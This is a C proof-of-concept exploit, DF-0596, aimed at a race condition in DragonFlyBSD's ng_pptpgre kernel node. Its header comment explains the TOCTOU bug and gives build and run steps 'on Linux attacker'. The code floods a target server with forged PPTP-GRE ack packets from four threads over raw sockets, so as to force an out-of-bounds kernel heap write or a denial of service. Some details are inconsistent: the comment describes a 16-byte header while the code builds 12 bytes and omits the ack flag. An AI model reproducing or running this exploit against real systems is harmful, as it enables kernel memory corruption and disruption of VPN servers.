/*
 * DF-0596 PoC sketch: SMP race on ng_pptpgre xmitWin -> timeSent[] OOB write.
 *
 * The ng_pptpgre node has no per-node serialization. ng_send_data dispatches
 * rcvdata inline on the caller's CPU, so two GRE ack packets arriving on
 * different CPUs execute ng_pptpgre_recv concurrently. The xmitWin
 * read-check-increment at ng_pptpgre.c:672-676 is a TOCTOU; two concurrent
 * ack handlers can both see xmitWin==15, both pass the <16 check, both
 * increment -> xmitWin==17. Subsequent xmit then permits timeSent index 16
 * (one past the end of pptptime_t timeSent[16]) -> 8-byte heap overflow
 * into recvSeq/xmitSeq.
 *
 * Topology (DragonFlyBSD target):
 *   ng_socket, ng_ksocket, ng_pptpgre, ng_iface loaded
 *   PPTP concentrator configured via mpd or custom netgraph script
 *   >= 2 vCPUs, xmitWin grown to PPTP_XMIT_WIN-1=15 (~15 ack round-trips)
 *
 * Build (on Linux attacker):
 *   cc -O2 -lpthread -o race race.c
 * Run:
 *   ./race <server_wan_ip> <cid> <ack_value>
 *     ack_value should be >= the current winAck threshold (i.e. reflect
 *     an ack the server will accept for window growth).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>

static volatile int stop = 0;
static struct in_addr server_ip;
static uint16_t cid;
static uint32_t ack_val;

/* Build a PPTP-GRE header per RFC 2637 §3.2.6:
 *   flags(1)=0, ver(1)=1, protocol=RCP_ENCAPSULATED=0x880B,
 *   length(2)=0 (ack only, no payload), callID(2), ack(4).
 * Total GRE header = 16 bytes for an ack-only packet (no seq).
 */
static void
build_pptp_ack(uint8_t *buf, size_t *len, uint32_t ack)
{
    /* GRE flags + version: C/R|K|S|s|Recur|A|Flags|Ver = 0x00 0x01.
     * PPTP GRE uses the A bit (ack present). */
    buf[0]  = 0x00;             /* flags */
    buf[1]  = 0x01;             /* version = 1 (PPTP) */
    buf[2]  = 0x88; buf[3] = 0x0b;   /* protocol = 0x880B (Enhanced GRE / PPTP) */
    /* length: 0 for ack-only (no data payload) */
    buf[4]  = 0; buf[5] = 0;
    /* call ID (network byte order) */
    buf[6]  = (cid >> 8) & 0xff;
    buf[7]  =  cid       & 0xff;
    /* ack number (network byte order) */
    buf[8]  = (ack >> 24) & 0xff;
    buf[9]  = (ack >> 16) & 0xff;
    buf[10] = (ack >>  8) & 0xff;
    buf[11] =  ack        & 0xff;
    *len = 12;
}

static void *
racer(void *arg)
{
    int s;
    struct sockaddr_in dst;
    uint8_t buf[16];
    size_t len;
    long n = (long)arg;

    s = socket(AF_INET, SOCK_RAW, IPPROTO_GRE);
    if (s < 0) { perror("socket GRE"); return NULL; }

    memset(&dst, 0, sizeof(dst));
    dst.sin_family = AF_INET;
    dst.sin_addr = server_ip;

    /* Each thread hammers the same ack value in a tight loop to maximize
     * the chance two threads are in the :672-676 window at once. */
    while (!stop) {
        build_pptp_ack(buf, &len, ack_val);
        sendto(s, buf, len, 0, (struct sockaddr *)&dst, sizeof(dst));
    }
    close(s);
    (void)n;
    return NULL;
}

int
main(int argc, char **argv)
{
    pthread_t t[4];
    int i;

    if (argc != 4) {
        fprintf(stderr, "usage: %s <server_wan_ip> <cid> <ack_value>\n", argv[0]);
        return 2;
    }
    inet_aton(argv[1], &server_ip);
    cid     = (uint16_t)strtoul(argv[2], NULL, 0);
    ack_val = (uint32_t)strtoul(argv[3], NULL, 0);

    fprintf(stderr,
        "DF-0596 race: bursting PPTP-GRE acks (cid=%u ack=%u) to %s "
        "from 4 threads for 60s...\n",
        cid, ack_val, argv[1]);

    for (i = 0; i < 4; i++)
        pthread_create(&t[i], NULL, racer, (void *)(long)i);

    for (i = 0; i < 60; i++) sleep(1);
    stop = 1; __sync_synchronize();
    for (i = 0; i < 4; i++) pthread_join(t[i], NULL);

    fprintf(stderr,
        "DF-0596 race finished. Check target dmesg for KASSERT (DEBUG) or "
        "session DoS / corrupted sequence numbers.\n");
    return 0;
}
